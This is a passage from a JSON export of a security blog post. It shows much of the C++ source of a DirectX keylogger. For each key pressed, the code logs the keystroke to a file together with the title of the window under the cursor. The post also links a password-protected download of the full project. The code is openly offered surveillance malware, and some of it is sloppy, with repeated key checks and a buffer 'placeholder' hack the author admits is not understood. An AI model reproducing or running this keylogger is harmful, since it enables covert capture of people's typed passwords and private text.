font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: .&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_SPACE<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: SPACEBAR&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_RETURN<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: RETURN OR ENTER&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_MINUS<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: -&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_PERIOD<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: .&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">KeyDown<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">DIK_SPACE<\/span><span style=\"color: #000000; font-weight: bold\">))<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #000000\">outfile<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;Window is &quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">()<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #4e9a06\">&quot;\\r\\nKey entered: SPACEBAR&quot;<\/span> <span style=\"color: #ce5c00; font-weight: bold\">&lt;&lt;<\/span> <span style=\"color: #000000\">endl<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">return<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\r\n<span style=\"color: #000000\">string<\/span>  <span style=\"color: #000000\">GetCurrentWindowInfo<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #204a87; font-weight: bold\">void<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\r\n\t<span style=\"color: #000000\">TCHAR<\/span>  <span style=\"color: #000000\">cock<\/span><span style=\"color: #000000; font-weight: bold\">[<\/span><span style=\"color: #0000cf; font-weight: bold\">1024<\/span><span style=\"color: #000000; font-weight: bold\">]<\/span> <span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #4e9a06\">L&quot;this is just placeholder text. it works for some reason. somehting to do with buffer init&quot;<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000\">POINT<\/span> <span style=\"color: #000000\">pt<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000\">GetCursorPos<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #ce5c00; font-weight: bold\">&amp;<\/span><span style=\"color: #000000\">pt<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t<span style=\"color: #000000\">HWND<\/span> <span style=\"color: #000000\">curwin<\/span> <span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">WindowFromPoint<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">pt<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\r\n\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">curwin<\/span> <span style=\"color: #ce5c00; font-weight: bold\">==<\/span> <span style=\"color: #204a87\">NULL<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #4e9a06\">&quot;null window&quot;<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t<span style=\"color: #204a87; font-weight: bold\">else<\/span>\r\n\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t<span style=\"color: #000000\">InternalGetWindowText<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">curwin<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">cock<\/span><span style=\"color: #000000; font-weight: bold\">,<\/span> <span style=\"color: #000000\">wcslen<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">cock<\/span> <span style=\"color: #ce5c00; font-weight: bold\">-<\/span><span style=\"color: #0000cf; font-weight: bold\">1<\/span><span style=\"color: #000000; font-weight: bold\">));<\/span>\r\n\t\t<span style=\"color: #000000\">string<\/span> <span style=\"color: #000000\">retmelol<\/span> <span style=\"color: #ce5c00; font-weight: bold\">=<\/span> <span style=\"color: #000000\">CW2A<\/span><span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">cock<\/span><span style=\"color: #000000; font-weight: bold\">);<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">if<\/span> <span style=\"color: #000000; font-weight: bold\">(<\/span><span style=\"color: #000000\">retmelol<\/span> <span style=\"color: #ce5c00; font-weight: bold\">==<\/span> <span style=\"color: #4e9a06\">&quot;&quot;<\/span><span style=\"color: #000000; font-weight: bold\">)<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">{<\/span>\r\n\t\t\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #4e9a06\">&quot;no window&quot;<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n\t\t<span style=\"color: #204a87; font-weight: bold\">return<\/span> <span style=\"color: #000000\">retmelol<\/span><span style=\"color: #000000; font-weight: bold\">;<\/span>\r\n\t<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n<span style=\"color: #000000; font-weight: bold\">}<\/span>\r\n<\/pre>\n<\/div>\n<p>There&#8217;s design \/ art, there&#8217;s no buttons, just a quick and dirty windows app. Real hackers can&#8217;t design for shit. You can download the <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2017\/07\/DirectX_fuckery.7z\">project here<\/a>. The password is &#8216;lol&#8217;.<\/p>\n<p>Thanks for reading. Maybe I&#8217;ll see some of you all at Defcon this year.<\/p>\n<p>Happy Hacking<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2017\/07\/1500444736122.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2017\/07\/1500444736122.jpg\" alt=\"\" width=\"640\" height=\"480\" class=\"alignnone size-full wp-image-1464\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2017\/07\/1500444736122.jpg 640w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2017\/07\/1500444736122-300x225.jpg 300w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Howdy! With that painful PIN crap behind me, I can finally be creative again. Today I wrote up a keylogger using C++ and DirectX. I normally dislike C++ because of the bloat, but DirectX and C don&#8217;t always play nicely. I&#8217;ve talked about keyloggers in the past, and even wrote one using traditional means. Traditionally, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,6],"tags":[116,76,77],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1462"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=1462"}],"version-history":[{"count":1,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1462\/revisions"}],"predecessor-version":[{"id":1466,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1462\/revisions\/1466"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=1462"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=1462"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=1462"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}